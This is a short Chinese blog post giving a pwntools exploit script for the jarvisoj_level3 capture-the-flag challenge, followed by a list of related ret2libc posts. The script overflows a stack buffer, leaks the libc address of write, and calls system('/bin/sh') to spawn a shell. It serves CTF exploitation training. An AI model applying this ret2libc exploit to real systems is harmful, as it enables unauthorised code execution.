jarvisoj_level3 [r2libc]

本是古典何须时尚 2023-02-20 06:57 29阅读 0赞

![在这里插入图片描述][20200624112817437.png]  
exp

from pwn import *
    from LibcSearcher import *
    
    context(log_level='debug')
    proc_name = './level3'
    p = process(proc_name)
    # p = remote('node3.buuoj.cn', 28793)
    elf = ELF(proc_name)
    main_addr = elf.sym['main']
    write_plt = elf.plt['write']
    write_got = elf.got['write']
    payload = flat(['a' * (0x88 + 4), p32(write_plt), p32(main_addr), p32(1), p32(write_got), p32(4)])
    p.sendafter('Input:', payload)
    p.recv()
    write_addr = u32(p.recv(4))
    log.info(hex(write_addr))
    libc = LibcSearcher('write', write_addr)
    libc_base = write_addr - libc.dump('write')
    system_addr = libc_base + libc.dump('system')
    str_bin_sh = libc_base + libc.dump('str_bin_sh')
    payload1 = flat(['a' * (0x88 + 4), p32(system_addr), p32(main_addr), p32(str_bin_sh)])
    p.sendafter('Input:', payload1)
    p.interactive()

![在这里插入图片描述][20200624114245322.png]

[20200624112817437.png]: https://img-blog.csdnimg.cn/20200624112817437.png
[20200624114245322.png]: https://img-blog.csdnimg.cn/20200624114245322.png

发表评论取消回复

表情：

评论列表（有 0 条评论，29人围观）

还没有评论，来说两句吧...

相关阅读

相关 pwn入门（3）：缓冲区溢出ROP攻击（ret2syscall+ret2libc）

前两篇博客讲述了解pwn题的环境配置和ROP攻击的原理，以及两道最基本的ROP攻击题目，详情见： [(59条消息) pwn入门（1）：kali配置相关环境（pwntools+

秒速五厘米/ 2023年09月26日 21:07/ 0 赞/ 190 阅读

相关 jarvisoj_level3 [r2libc]

![在这里插入图片描述][20200624112817437.png] exp from pwn import from LibcSearcher im

本是古典何须时尚/ 2023年02月20日 06:57/ 0 赞/ 30 阅读

相关 [BJDCTF 2nd]r2t3

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ub

梦里梦外;/ 2023年02月17日 02:37/ 0 赞/ 70 阅读

相关 ret2libc

retlibc ret2libc是返回导向编程（ROP）的一种，在开始数据执行保护的情况下，可以利用ROP执行shellcode 前置知识（栈空间与函数调用）如

痛定思痛。/ 2022年12月02日 10:54/ 0 赞/ 234 阅读

相关 StackOverFlow之Ret2libc详解

[https://www.sohu.com/a/276052024\_354899][https_www.sohu.com_a_276052024_354899] [htt

曾经终败给现在/ 2022年11月21日 03:42/ 0 赞/ 269 阅读

相关 rop之ret2libc

发现很久没有看那些理论还忘记了。理论还是有用得看看的。 ROP例子还是[https://www.zhihu.com/search?type=content&q=x86%20R

ゝ一世哀愁。/ 2022年10月27日 13:47/ 0 赞/ 261 阅读

相关部署FIM 2010 R2—3安装FIM 2010 R2 Service and Portal

部署FIM 2010 R2—3安装FIM 2010 R2 Service and Portal 1、打开FIMSplash文件，如下图， [![image\_thumb91

浅浅的花香味﹌/ 2022年09月24日 14:26/ 0 赞/ 163 阅读

相关 Shell 脚本小试牛刀（3） -- libc库版本记录

一个完整的项目应该包括记录完整的环境，所以你的程序中可能需要记录：Linux内核版本、使用系统板本、文件系统版本、gcc版本等等，而这些记录的系统信息在程序维护以及升级时都是极

淡淡的烟草味﹌/ 2022年08月27日 01:11/ 0 赞/ 292 阅读

相关 libc，glibc和libc关系

【glibc 和 libc】 glibc 和 libc 都是 Linux 下的 C 函数库。 libc 是 Linux 下的 ANSI C 函数库；glibc 是

客官°小女子只卖身不卖艺/ 2022年05月19日 23:53/ 0 赞/ 247 阅读

相关 0day 第12章--12.3.3 Ret2Libc实战之利用VirtualAlloc

实验环境： Winxp sp3 VS2010 实验配置：禁用优化、关闭GS、关闭safeseh、开启DEP ![在这里插入图片描述][2019040820

今天药忘吃喽~/ 2022年02月22日 03:15/ 0 赞/ 315 阅读